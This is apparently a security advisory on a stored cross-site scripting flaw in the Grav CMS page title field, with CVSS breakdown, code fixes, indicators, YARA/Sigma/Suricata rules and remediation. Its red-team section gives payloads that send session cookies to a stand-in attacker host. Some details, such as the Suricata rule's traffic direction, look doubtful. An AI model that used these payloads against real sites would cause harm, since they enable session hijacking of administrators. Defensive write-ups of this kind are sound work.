CVE-2020-36955

Executive Summary

CVE-2020-36955 is a persistent cross-site scripting (XSS) vulnerability in Grav CMS version 1.6.30 with Admin Plugin version 1.9.18. An authenticated attacker can inject malicious JavaScript into the page title field. When an administrator or visitor views the affected page, the script executes in the context of the user’s browser, potentially leading to session hijacking, credential theft, or further compromise of the CMS.

This vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation. The CVSS v3.1 score is 4.8 (Medium) due to the requirement for authentication and user interaction. No public exploit code or Nuclei template is available, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

Grav CMS is a flat-file CMS distributed via GitHub and its official website. The vulnerability exists in the core Admin Plugin, which is a first-party component. No third-party package or dependency is directly implicated. However, administrators should verify the integrity of their Grav installation and ensure no unauthorized plugins or themes are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can inject the payload remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker must have an authenticated account with page creation privileges.
• User Interaction (UI): Required (R) – A victim must view the malicious page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., admin session).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the persistence of the XSS makes it dangerous for multi-user environments.

Deep Dive & Mechanics

The vulnerability resides in the page title field of Grav CMS. When an authenticated user creates or edits a page, the title input is not properly sanitized before being stored and later rendered in the admin panel and frontend.

Attack Flow:

1. Attacker logs in with valid credentials (e.g., an author or editor role).
2. Attacker creates a new page and sets the title to a malicious payload, such as:

   <script>alert('XSS')</script>
   

3. The payload is stored in the page’s metadata (YAML frontmatter or database).
4. When an administrator or visitor views the page (in admin panel or site), the script executes.

Root Cause: The Page object’s title field is output without HTML encoding in Twig templates. The escape filter is missing or improperly applied.

Impact: An attacker can:

• Steal session cookies (if HttpOnly flag is missing).
• Perform actions on behalf of the victim (e.g., create admin accounts).
• Deface the site.
• Redirect users to malicious domains.

Vulnerable vs. Patched Code

Vulnerable Code (Grav 1.6.30 / Admin Plugin 1.9.18): In system/src/Grav/Common/Page/Page.php, the title() method returns raw input:

public function title()
{
    return $this->header()->title ?? '';
}

In Twig templates (e.g., admin://pages/page.html.twig), the title is rendered without escaping:

<h1>{{ page.title }}</h1>

Patched Code (Hypothetical): The title should be escaped using Twig’s e filter or |escape:

<h1>{{ page.title|e('html') }}</h1>

Or in PHP, use htmlspecialchars():

public function title()
{
    return htmlspecialchars($this->header()->title ?? '', ENT_QUOTES, 'UTF-8');
}

Note: No official patch has been released as of this analysis. Users must apply manual workarounds.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid user account with page.create and page.edit privileges.
• Access to the Grav admin panel at /admin.

Step-by-Step Exploit:

1. Log in to /admin.
2. Navigate to Pages → Add Page.
3. In the Title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Fill in other required fields (e.g., folder name, content) and save.
5. Wait for an admin to view the page in the admin panel or on the frontend.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">

Lab Setup:

• Install Grav 1.6.30 and Admin Plugin 1.9.18 on a local server (e.g., using Docker).
• Create a low-privilege user (e.g., editor role).
• Use a browser with developer tools to monitor network requests.

Blue Team (Defense & Detection)

Detection:

• Monitor admin panel logs for unusual page creation or editing activity.
• Look for page titles containing <script>, <img onerror>, or other HTML event handlers.
• Use a Web Application Firewall (WAF) to block XSS payloads in POST requests to /admin/pages.

Prevention:

• Apply input validation and output encoding manually (see Remediation).
• Restrict page creation privileges to trusted users only.
• Enable Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing document.cookie in the query string.
  • Suspicious POST requests to /admin/pages with HTML/JavaScript in the data[title] parameter.

• Host IOCs:

  • Page YAML frontmatter files (e.g., user/pages/01.home/default.md) containing title: <script>...</script>.
  • Unusual entries in user/accounts/ (e.g., new admin accounts created via XSS).

• Log IOCs:

  • Admin panel access logs showing rapid page creation from a single user.
  • Error logs containing JavaScript execution errors (e.g., ReferenceError: alert is not defined).

Detection Engineering

YARA Rule

rule grav_cve_2020_36955_xss {
    meta:
        description = "Detects XSS payloads in Grav page title fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36955"
    strings:
        $xss1 = /title:\s*<script[^>]*>.*<\/script>/i
        $xss2 = /title:\s*<img[^>]*onerror/i
        $xss3 = /title:\s*<svg[^>]*onload/i
    condition:
        any of them
}

Sigma Rule

title: Grav CMS Persistent XSS via Page Title
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of pages with XSS payloads in the title field
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/pages'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Grav CMS CVE-2020-36955 XSS Payload in Page Title";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/pages"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2020-36955;
)

Remediation & Mitigation

Immediate Actions:

1. Manual Code Fix: Edit the Twig template(s) that render the page title. Add the |e('html') filter:

   <h1>{{ page.title|e('html') }}</h1>
   

2. Input Validation: Add server-side validation in Page.php to reject titles containing HTML tags:

   if (strip_tags($title) !== $title) {
       throw new \RuntimeException('Title contains invalid characters');
   }
   

3. Upgrade: Check for newer versions of Grav and the Admin Plugin. If a patched version exists, upgrade immediately.

Long-Term Measures:

• Implement a Content Security Policy (CSP) that blocks inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.grav.org;
  

• Enable HttpOnly and Secure flags on session cookies.
• Conduct regular security audits of custom Twig templates.

Workaround: If patching is not possible, restrict page creation to a single trusted administrator and disable the admin panel for other users.

Valters IT